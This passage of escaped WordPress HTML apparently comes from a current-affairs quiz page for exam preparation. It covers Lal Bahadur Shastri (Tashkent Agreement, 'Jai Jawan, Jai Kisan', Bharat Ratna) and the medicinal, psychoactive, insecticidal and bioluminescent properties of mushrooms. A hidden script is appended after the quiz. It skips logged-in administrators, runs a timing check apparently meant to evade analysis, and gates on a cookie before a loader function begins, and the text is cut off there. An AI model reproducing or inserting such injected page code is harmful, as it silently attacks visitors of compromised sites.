Shri Lal Bahadur Shastri:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-221 wp-block-paragraph\">1. He signed the Tashkent Agreement (1966) with Pakistani President Ayub Khan.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-222 wp-block-paragraph\">2. He gave the slogan \u201cJai Jawan, Jai Kisan\u201d during the 1965 Indo-Pak War.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-223 wp-block-paragraph\">3. He was posthumously awarded the Bharat Ratna.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-224 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-225 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-226 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-227 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-228 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-229 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-230 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-231 wp-block-paragraph\"><strong>In NEWS: <\/strong>Prime Minister Pays Tribute to Shri Lal Bahadur Shastri Ji on His Birth Anniversary<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-232 wp-block-paragraph\"><strong>Major Contributions of Lal Bahadur Shastri:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-233 wp-block-paragraph\"><strong>Prime Minister of India (1964\u20131966)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-234\">\n<li>Took charge after Jawaharlal Nehru\u2019s death in 1964.<\/li>\n\n\n\n<li>Led India during a critical period marked by economic challenges and external threats.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-235 wp-block-paragraph\"><strong>Gave the Slogan \u201cJai Jawan, Jai Kisan\u201d &nbsp;Hence statement 2 is correct.<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-236\">\n<li>Coined the iconic phrase during the 1965 Indo-Pak War to:<\/li>\n\n\n\n<li>Motivate soldiers (Jawan) defending the country.<\/li>\n\n\n\n<li>Encourage farmers (Kisan) to boost food production.<\/li>\n\n\n\n<li>The slogan became a symbol of national unity and self-reliance.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-237 wp-block-paragraph\"><strong>Leadership During the 1965 Indo-Pak War<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-238\">\n<li>Led the country with firm resolve during the war with Pakistan.<\/li>\n\n\n\n<li>Displayed strong military and diplomatic leadership.<\/li>\n\n\n\n<li><strong>Signed the Tashkent Agreement (1966)<\/strong> with Pakistani President Ayub Khan, brokered by the USSR, to end the war.<strong> Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-239 wp-block-paragraph\"><strong>Green Revolution Initiation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-240\">\n<li>Laid the foundation for the Green Revolution to tackle food shortages.<\/li>\n\n\n\n<li>Promoted the use of high-yield variety seeds, fertilizers, and modern farming techniques.<\/li>\n\n\n\n<li>Strengthened India&#8217;s push toward food self-sufficiency.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-241 wp-block-paragraph\"><strong>Emphasis on Self-Reliance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-242\">\n<li>Promoted indigenous industry and economic self-sufficiency.<\/li>\n\n\n\n<li>Encouraged citizens to voluntarily observe fasts to reduce food demand during shortages, setting a personal example.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-243 wp-block-paragraph\"><strong>Roles Before Prime Ministership<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-244 wp-block-paragraph\">Held important portfolios like:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-245\">\n<li>Minister of Railways (resigned after a train accident, taking moral responsibility)<\/li>\n\n\n\n<li>Minister of Home Affairs<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-246 wp-block-paragraph\"><strong>Death and Legacy<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-247\">\n<li>Passed away on 11 January 1966 in Tashkent, Uzbekistan, under mysterious circumstances.<\/li>\n\n\n\n<li><strong>Posthumously awarded the Bharat Ratna<\/strong>, India\u2019s highest civilian award. <strong>&nbsp;Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Remembered as a symbol of honesty, courage, and patriotism.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-248 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2173982\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2173982<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-249 wp-block-paragraph\"><strong>10. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-250 wp-block-paragraph\">1. Some mushrooms have medicinal properties.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-251 wp-block-paragraph\">2. Some mushrooms have psycho-active properties.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-252 wp-block-paragraph\">3. Some mushrooms have insecticidal properties.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-253 wp-block-paragraph\">4. Some mushrooms have bioluminescent properties.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-254 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-255 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-256 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-257 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-258 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-259 wp-block-paragraph\"><strong>Answer: (d) All four<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-260 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-261\">\n<li>Many mushrooms (e.g., Reishi, Turkey Tail, Lion\u2019s Mane) are known for<strong> medicinal properties<\/strong> like boosting immunity, reducing inflammation, and supporting brain health.<\/li>\n\n\n\n<li>Psychedelic mushrooms (e.g., Psilocybe cubensis) contain psilocybin, a compound with hallucinogenic effects. Used in traditional rituals and <strong>modern psychotherapy research.<\/strong><\/li>\n\n\n\n<li>Certain mushrooms (e.g., Metarhizium and Beauveria species, which are fungi) are used as <strong>biological insecticides to control pests.<\/strong><\/li>\n\n\n\n<li>Some mushrooms (e.g., Panellus stipticus, Mycena chlorophos) can glow in the dark due to <strong>bioluminescence.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-262 wp-block-paragraph\"><strong>Hence option (d) is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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